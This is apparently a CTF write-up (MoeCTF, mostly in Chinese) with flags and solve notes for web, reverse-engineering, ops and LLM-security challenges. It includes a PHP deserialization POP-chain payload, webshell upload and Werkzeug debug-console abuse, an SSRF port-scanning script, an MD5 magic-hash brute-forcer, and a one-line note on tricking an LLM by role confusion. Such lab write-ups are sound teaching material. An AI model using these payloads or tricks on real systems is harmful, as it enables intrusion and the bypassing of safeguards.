moectf-wp
WEB
Web渗透测试与审计入门指北
搭建起php即可得
moectf{H3r3'5_@_fIYinG_klss_f0r_yoU!}
弗拉格之地的入口
使用爬虫爬出页面
moectf{c0nGratULaTI0n_F0r_KnOw1ng-Ro60ts-tXtceee}
ez_http
按照要求改头可得
moectf{Y0u-4re-RE4LLY-rEal1Y-VERy_CLeV3r!!!1asee}
ProveYourLove
**crush** 表白叭,300份才能证明你的爱!
所以要提交300份,前端有个验证禁止重复提交的,使用的是localStorage
储存在本地的数据
到应用处改掉即可
抓包后传300份,就可以了
moectf{CONgR@Tul@T1oNs_oN_bECoMiNg-A_liCKiNG-doG129}
弗拉格之地的挑战
一个连环闯关
F12大法
传回的包值
按照其要求修改包
有来源的限制,修改Origin
和Referer
在前端多加一个9的按钮
直接提交post表单
/i
的大小写不敏感
有回显,传post
执行指令即可
最后得到
flag1: bW9lY3Rm
flag2:e0FmdEV
flag3: yX3RoMXN
flag4: fdFVUMHJ
flag5: fSV90aDF
flag6: rZV9VX2t
flag7: rbm93X1dlQn0=
bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=
base64解码
moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}
pop moe
构造pop链
<?php
class class000 {
private $payl0ad = 1;
protected $what;
public function ggg($aaaaa)
{
$this->what=$aaaaa;
}
}
class class001 {
public $payl0ad;
public $a;
}
class class002 {
private $sec;
public function ggg($aaaaa)
{
$this->sec=$aaaaa;
}
}
class class003 {
public $mystr;
}
$c3 = new class003;
$c2 = new class002;
$c1 = new class001;
$c0 = new class000;
$c1->payl0ad='dangerous';
$c3->mystr='phpinfo();';
$c2->ggg($c3);
$c1->a=$c2;
$c0->ggg($c1);
$serialized = serialize($c0);
echo urlencode($serialized);
闹了点小乌龙,忘记看phpinfo()
了(
moectf{lt-5EEm5_Th@T_Y0U-knOW_WH4T_is-P0p-1n_pHPpPpPPP!!!61}
ImageCloud前置
moectf{i_am-v3rYsORry@6OUt_THl517a71c92}
垫刀之路系列
垫刀一
moectf{w31cOMe_T0_m0EctF_aND-R04d1-5TARTuP-by_sxrHhH7a}
垫刀二
传马
链接后看php -i
moectf{uplOad-Y0uR_p4y10aD_AND_DO-wHat_y0ur_WaNT574}
垫刀三
改包改回后缀即可
moectf{BYpASS_tH3_mIm3-tyPE-4ND_EXt3N51On_You_caN_D0_iT2}
垫刀四
moectf{crO55-thE-DiR3cTOry_4ND-Y0u-mAY-F1ND-etC-P@55WD16}
垫刀五
moectf{havE_th3-USeFu1_P4s5W0RD-@nD_Go-3veRywhere_oN1Y_sQl_can_do0}
垫刀六
moectf{pl3a5e_K1CK_CFbB_b3C4Us3-he-rA1SE_popmO3-in_weEk1_haha0}
垫刀七
给出pin码,直接访问/console路由(要127.0.0.1)
要重定向输出,这里用了import subprocess库
moectf{d0nT_u51NG_Fl45k-6Y_D36Ug_mOD_4Nd-IEaK-YOUR-PiN8}
静态网页
md5爆破
#include <iostream>
#include <string>
#include <openssl/md5.h>
#include <thread>
#include <vector>
#include <atomic>
#include <cstdlib>
#include <ctime>
const std::string CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
std::string generate_random_string(size_t length) {
std::string str = "0e"; // 初始设置字符串以 "0e" 开头
for (size_t i = 2; i < length; ++i) { // 从索引2开始填充,因为0和1已经被 "0e" 占用
str += CHARS[rand() % CHARS.size()];
}
return str;
}
std::string md5(const std::string& input) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((unsigned char*)input.c_str(), input.size(), (unsigned char*)&digest);
char md5_string[33];
for (int i = 0; i < 16; ++i) {
sprintf(&md5_string[i * 2], "%02x", (unsigned int)digest[i]);
}
return std::string(md5_string);
}
bool is_interesting(const std::string& hash) {
return hash.substr(0, 2) == "0e" && hash.substr(2).find_first_not_of("0123456789") == std::string::npos;
}
void find_collision(std::atomic<bool>& found, size_t string_size) {
while (!found.load()) {
std::string random_string = generate_random_string(string_size);
std::string hash = md5(random_string);
if (is_interesting(hash)) {
found.store(true);
std::cout << "Found: " << random_string << " => " << hash << std::endl;
}
}
}
int main() {
srand(time(0));
size_t string_size = 20; // 调整字符串长度以包括 "0e" 的两个字符
std::atomic<bool> found(false);
unsigned int num_threads = std::thread::hardware_concurrency();
std::vector<std::thread> threads;
for (unsigned int i = 0; i < num_threads; ++i) {
threads.emplace_back(find_collision, std::ref(found), string_size);
}
for (auto& t : threads) {
t.join();
}
return 0;
}
Found: 0eTkNsTreBs8G6VEXVB5 => 0e037642729645899252730799844376
后面纯数字在对比时才不会被识别为文本
moectf{iS-my_wlfE-p10-cHAn-cUte-or_YOUr_WlfE-15_PHP?ce}
电院_Backend
考sql绕过
给了源代码,本地搭建环境测试
绕过成功
moectf{I-d1D-n0t_eXpECt_YOu-TO-B3-5O-5TRONG8c2bd}
勇闯铜人阵
写个脚本自动化
import requests
from bs4 import BeautifulSoup
import sys
session = requests.Session()
url = "http://192.168.3.201:1790"
session.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
# 定义方向
direction_map = {
"1": "北方",
"2": "东北方",
"3": "东方",
"4": "东南方",
"5": "南方",
"6": "西南方",
"7": "西方",
"8": "西北方",
}
def send_post_request(data):
response = session.post(url, data=data)
print(f"发送到 {url} 的POST请求:")
print(f"Headers: {session.headers}")
print(f"Data: {data}")
return response
def process_response(response):
soup = BeautifulSoup(response.text, "html.parser")
status_element = soup.find(id="status")
if status_element:
status = status_element.text.strip()
return status
else:
print("未找到状态元素,网页内容如下:")
print(response.text)
sys.exit("脚本停止执行。")
data = {"player": "xz", "direct": "弟子明白"}
response = send_post_request(data)
while True:
status = process_response(response)
if "," in status:
directions = [direction_map[s.strip()] for s in status.split(",")]
response_message = ",".join([f"{dir}一个" for dir in directions])
print(f"发送指令: {response_message}")
for direction in directions:
data["direct"] = direction
response = send_post_request(data)
else:
if status in direction_map:
print(f"发送指令: {direction_map[status]}")
data["direct"] = direction_map[status]
response = send_post_request(data)
else:
print("未找到有效的状态。网页内容如下:")
print(response.text)
sys.exit("脚本停止执行。")
moectf{w31llI_y0u_PAS5-Th3-ChAl1ENgE-FRRrRr0M_T0NR3nb}
ImageCloud
分析源码可知
是两个服务,一个本地一个外网
import requests
base_url = "http://192.168.3.201:9123/image?url=http://localhost:{port}/image/flag.jpg"
# 遍历端口范围
for port in range(5001, 6001):
try:
url = base_url.format(port=port)
# 发起请求
response = requests.get(url, timeout=5)
print(port)
if "无法加载图片" not in response.text:
print(f"成功连接到端口 {port}")
print(response.text)
break
except requests.exceptions.RequestException as e:
print(f"连接到端口 {port} 失败: {e}")
moectf{CetTeBR4Te-yOU-AttAck_t0-mY_tM4gE-cT0UdHhHHHH386}
RE
逆向工程入门指北
签到题运行即可得
#include <iostream>
int main()
{
char password_enc[] = {
123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,
101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119,
111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22 };
// 因为a^b=c时, b^c=a, 所以我们可以这样还原数据:
char password[47];
for (int i = 0; i < 46; i++) {
password[i] = password_enc[i] ^ 22;
}
password[46] = 0; // 使用0字符来截断掉%s的无尽输出..
printf("%s\n", password); // 哈哈,这就是本题的f l a g,自己运行一下交上去吧!
return 0;
}
moectf{r3v3rs3_1s_a_long_long_way_to_explore}
xor
44个字符分别异或0x24
得到的
异或回去就可以了
moectf{e82b478d-f2b8-44f9-b100-320edd20c6d0}
TEA
倒过来跑一遍就可以,要注意类型
加法的优先级是比异或高的,所以是这样逆
int main() {
unsigned long v5=0x3910C558;
unsigned long v4=0x284C2234;
unsigned long v3=0xFFFFFFF3C6EF3720;
for (int i = 0; i < 32; ++i) {
v5-=(v4+v3)^(16*v4+0x61657472) ^ ((v4 >> 5) + 0x61657478);
v4-=(v5 + v3) ^ (16 * v5 + 0x65736162) ^ ((v5 >> 5) +0x6F783436);
v3+=0x61C88647;
}
unsigned long v11 = v5 >> 16;
unsigned long v9 = v5 & 0xFFFF;
printf("解密后的数值 = %x\r\n", v4);
printf("解密后的数值 = %x\r\n", v11);
printf("解密后的数值 = %x\r\n", v9);
std::cout<<"moectf{"<< std::hex<<v4<<"-"<< std::hex<<v11<<"-"<< std::hex<<v9<<"-9c42-caf30620caaf}";
}
moectf{836153a5-8e00-49bd-9c42-caf30620caaf}
逆向工程进阶之北
题目如下
void flag_encryption(unsigned char* input)
{
size_t len = strlen((const char*)input);
if (len != 44)
{
std::cout << "length error!";
return;
}
unsigned int* p = (unsigned int*)input;
for (int i = 0; i < 11; i++)
{
*(p + i) = (*(p + i) * 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906;
std::cout << ", 0x" << std::hex << *(p + i) << ' ';
}
std::cout << std::endl;
// 0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 , 0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81
}
int main()
{
unsigned char a[] = "moectf{f4k3__flag__here_true_flag_in_s3cr3t}";
flag_encryption(a);
return 0;
}
也是逆,要注意的是求逆元和指针的本质,求逆元直接用py的函数,pow(0xCCFFBBBB, -1, 2^32)
逆元中,n
的大小取决于类型,这里我用的是unsigned int
所以类型是2的32次方
后面打印flag的时候应该打印原数组(别傻傻打印指针了)
然后得到
#include <vector>
#include <openssl/md5.h>
#include <iostream>
#include <sstream>
#include <iomanip>
#include <string.h>
#include <iostream>
#include <algorithm>
unsigned int jie(unsigned int t){
unsigned int
yy=t^(0xdeadbeef+0xd3906);
yy =yy-0xdeadc0de;
yy=yy*0x8d61d173;
return yy;
}
int main()
{
std::vector<unsigned int> ttt={0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81};
for (int i = 0; i <11; ++i) {
std::cout<<",0x"<< std::hex <<jie(ttt[i])<<"";
}
unsigned char b[] = "moectf{f4k3__flag__here_true_flag_in_s3cr3t}";
unsigned char *a=b;
std::vector<unsigned int> e={0x63656f6d,0x637b6674,0x34346635,0x2d323363,0x39626263,0x3434342d,0x65612d65,0x632d3466,0x37616630,0x36613763,0x7d613762};
unsigned int* p = (unsigned int*)a;
for (int i = 0; i <11; ++i) {
std::cout<< std::hex <<e[i]<<"\n";
*(p+i)=e[i];
}
for (int i = 0; i < 44; ++i) {
printf("%c",a[i]);
}
}
moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a}
SecretModule
把模块解包,得到里面会这样加载
#!/bin/bash
eval "$( printf 'QlpoOTFBWSZTWZspxEUAAfxfgFAwdef/6zfHz6D/79/uQAJSu07tCQ1BI09E9Q0DINA9TQA2oAAA0NAlCFPRpM0mjSNR+hIaek0AHqaGj1PUNNMeqDSEJ6gNBo0NNAAZNGjI0NBoAAlEjEo8ppp6NPVGCaaNNMR6g9EBoPUGgPAecJO66TH6u4xdFeH8fRdR4OSNOqLoVm2I39FZSS/irDMIJmggh2EyQovQos26HmeniQH4iRSw0JeeVV2C9E8NkJh+VZwioAZj5QpGcdTmdOSMoYLaiaaa8oZEhIRgQbKjP7VIopzl53axe+MJxXTyrg/duKuBYecUVQUUTMptuykt+JqZZmJSM0dQ/YaHpifbwN3wN0NYRAEYC0tkI6uE4GkS9r1eFB9zyCBef6dnGYwKo8BylS24xNYsXSUXIYpZC3fzxlQKVBUwrBawin+AaDPkLwbCSQNge45QjrBfoNLEJSWk8C0ajKPu8NORzYlfqGgjOQOQQ0YG7gCRaWFD6wkguEqEUi6bSFTxLE4Y3+pziYRKFVet5X1CrnXc2jLN+9tMTJ8beC0ED5k1K7n22efCha1ci53zQHgQBUKLg1Q3hPZoMCAp0g48QN02037Qy891pyxa+vZU5msKnsJryCXKyBdrCrWXljrC/S6i3MBzRikY4kZzLw7v8aL7oOYKGRkUCWxelwUWFKIOQyImQVnIKicgYFqJYjeY1CMSgaiR4dqQ7MomJ6LdpOEtDOvfhjsEplnGTvSo3NV1KnALfTTYMeOUngApQKa8IExBIGZhafHgZZjI0HAKg6bcV5QwiUHCoorQaSWUvNMLgejbZ/QJA9QFWitiup+KyAU5uTergMVuJ5jj/xdyRThQkJspxEU=' | base64 -d | bunzip2 -c )"
那就顺着执行得到
testk() {
echo "Welcome to the Secret module!But before you begin,you need to prove your self."
(/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
return 0
}
choose() {
while true; do
/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
break
fi
done
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
echo "114514"
else
echo "1919810"
fi
}
if testk; then
ui_print "Great! Now enter the secret."
else
ui_print "Legacy Device. Use a newer device to do this challenge"
exit
fi
concatenated=""
for i in 1 2 3 4 5 6 7
do
result=$(choose)
concatenated="${concatenated}${result}"
done
input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
echo 'You are right!Flag is'
echo "moectf{$concatenated}"
else
echo 'Wrong. Try again.'
exit
fi
可以知道是"114514"
和"1919810"
的7次排列组合,那就遍历其md5
看看哪个和77a58d62b2c0870132bfe8e8ea3ad7f1
一致就好
用了openssl
的库
#include <vector>
#include <openssl/md5.h>
#include <iostream>
#include <sstream>
#include <iomanip>
std::string stringToMD5(const std::string& input) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((unsigned char*)input.c_str(), input.length(), digest);
// 将哈希值转换为十六进制字符串
std::stringstream ss;
for (int i = 0; i < MD5_DIGEST_LENGTH; i++) {
ss << std::hex << std::setw(2) << std::setfill('0') << (int)digest[i];
}
return ss.str();
}
int main() {
std::string y="114514";
std::string b="1919810";
std::vector<std::string> test;
test.push_back("");
for (int j = 0; j < 7; ++j) {
for (int i = 0; i < 2; ++i) {
if (i==0){
int s= test.size();
for (int k = 0; k < s; ++k) {
test.push_back(test[k]+b);
}
} else{
int s= test.size();
for (int k = 0; k < s/2; ++k) {
test[k] += y;
}
}
}
}
for (int i = 0; i < test.size(); ++i) {
std::string rrrr="77a58d62b2c0870132bfe8e8ea3ad7f1";
std::string dddd=test[i];
if ( rrrr == stringToMD5(dddd)){
std::cout<<test[i];
}
}
}
得到114514114514191981011451411451419198101919810
包上头就是了
moectf{114514114514191981011451411451419198101919810}
开发与运维基础
哦不!我的libc!
偷懒非预期解了
因为就在根目录而且sh
能用,直接cd/
然后用sh
写一个读取文件内容打印就有了
while IFS= read -r line; do
echo "$line"
done < flag.txt
moectf{Bu5y6oX-i5_s0OoOO0Io00000OOO0OO0o00Oo0o-bUSy8}
大语言模型应用安全
Neuro?
混淆角色,给个饼干就可以了
moectf{755809637d47c6b8}
Comments 1 条评论
博主 ranfey
test